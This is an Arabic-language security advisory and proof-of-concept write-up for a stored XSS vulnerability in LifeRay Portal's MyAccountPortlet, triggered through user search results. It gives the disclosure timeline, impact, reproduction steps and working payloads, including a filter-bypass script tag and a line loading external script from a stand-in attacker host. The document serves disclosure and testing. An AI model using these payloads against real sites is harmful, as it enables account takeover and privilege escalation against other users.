XSS مخزنة مُوثَّقة في LifeRay 7.2.1 GA2 عبر MyAccountPortlet يتم تنفيذها من خلال نتائج البحث

في إصدارات LifeRay من 7.1.0 إلى 7.2.1 GA2، تكون حقول الاسم الأول والاسم الأوسط واسم العائلة لحسابات المستخدمين جميعها عرضة لمشكلة XSS مخزنة. يمكن لأي مستخدم تعديل هذه الحقول بحمولة XSS معينة، ويتم تخزينها في قاعدة البيانات "مُصيبة" المستخدم. سيتم عرض الحمولة بعد ذلك عندما يستخدم مستخدم ميزة البحث للبحث عن مستخدمين آخرين. إذا تم عرض المستخدم المُصاب كنتيجة بحث، فسيتم تنفيذ حمولة XSS.

• الباحث/المؤلف: Casey Erdmann
• تاريخ الاكتشاف: 17/10/2019
• آخر مراجعة: 05/10/2020
• الإفصاح الخاص: 18/10/2019
• الإفصاح العام: 27/01/2020 (مقالة)
• الإصدار المُصحَّح: 30/01/2020 Liferay Portal 7.3.0 GA1
• إطلاق برهان المفهوم: 05/10/2020

التأثير

تسمح هذه الثغرة للمهاجم بتنفيذ كود عشوائي في سياق أي مستخدم يُشغِّل حمولة XSS عبر البحث. من الناحية العملية، يمكن أن يؤدي ذلك إلى تصعيد الامتيازات من مستخدم غير مُصرَّح له إلى مستخدم إداري، وكذلك الحركة الجانبية في السيطرة على حسابات أخرى. بالإضافة إلى ذلك، يمكن استغلال أي شيء يمكن تنفيذه عبر جافا سكريبت في سياق مستخدم آخر.

كما سترى في برهان المفهوم (PoC)، فإن هذا الأمر مفتوح على مصراعيه حيث يستطيع المهاجم تحميل نصوص خارجية بسهولة في السياق الافتراضي.

معظم ملفات تعريف الارتباط الجلسة الهامة مُعلَّمة بـ HTTPOnly مما يمنع تقنيات اختطاف الجلسة البسيطة. ومع ذلك، تجدر الإشارة إلى أن المستخدمين الذين يشاهدون الصفحة بمتصفحات أقدم يتأثرون أكثر بهذه الثغرة بفضل هجمات XST.

نظرًا لأن المستخدمين الإداريين يمكنهم تنفيذ أوامر Gogo Shell و Groovy Script، فقد يكون من الممكن أيضًا ربط هذا الاستغلال بهذه الميزات المقصودة عادةً للحصول على RCE غير مقصود على النظام المضيف بدءًا من مستخدم غير مُصرَّح له.

خطوات إعادة الإنتاج

لكي يتم تشغيل هذه الثغرة، يجب توفر شرطين:

1. يجب أن يكون لديك إمكانية الوصول إلى حساب مستخدم يمكنك تعديل حقول الاسم الأول أو الأوسط أو اسم العائلة عليه.
2. يجب أن يكون مستخدمك قابلًا للبحث في LifeRay. عادةً يعني هذا فقط أنه يحتاج إلى الإضافة إلى موقع. افتراضيًا، يمكن للمستخدم إضافة نفسه إلى الموقع الأساسي مما يجعله قابلًا للبحث دون إذن إضافي.

بمجرد توفر هذه الشروط، يمكن ملاحظة الخطوات التالية لاستغلال الثغرة:

1. سجل الدخول باسم المستخدم الذي لديك إمكانية الوصول إليه
2. انتقل إلى قسم إعدادات الحساب
   • انقر على أيقونة الملف الشخصي > إعدادات الحساب
   • يجب أن يكون الرابط مشابهًا لـ: http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. عدِّل أحد حقول الاسم الأول أو الأوسط أو اسم العائلة في النموذج بحمولة XSS الخاصة بك (انظر أمثلة PoC أدناه) وانقر حفظ
4. إذا لم تكن بالفعل في موقع، يمكنك الانضمام إلى أحد المواقع بالانتقال إلى http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive وانقر على أيقونة "النقاط الثلاث" على الجانب الأيمن واختر انضمام.
5. ابحث عن مستخدمك لتشغيل حمولة XSS: http://mysite.com/web/guest/search?q=<my user>
   • للاختبار لإظهار التأثير على مستخدم آخر:
     • سجل الدخول كمستخدم ثانٍ، وابحث عن "المستخدم المُصاب" وستُنفَّذ حمولة XSS في سياقه أيضًا.

PoC تنبيه بسيط

• <<SCRIPT>alert("XSS");//<</SCRIPT>

PoC نص خارجي وتجاوز الفلتر

• <SCRIPT SRC="//attacker.site/payload.js">
• حاول العرض باستخدام xss.rocks!
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

إصدار التقرير 4.0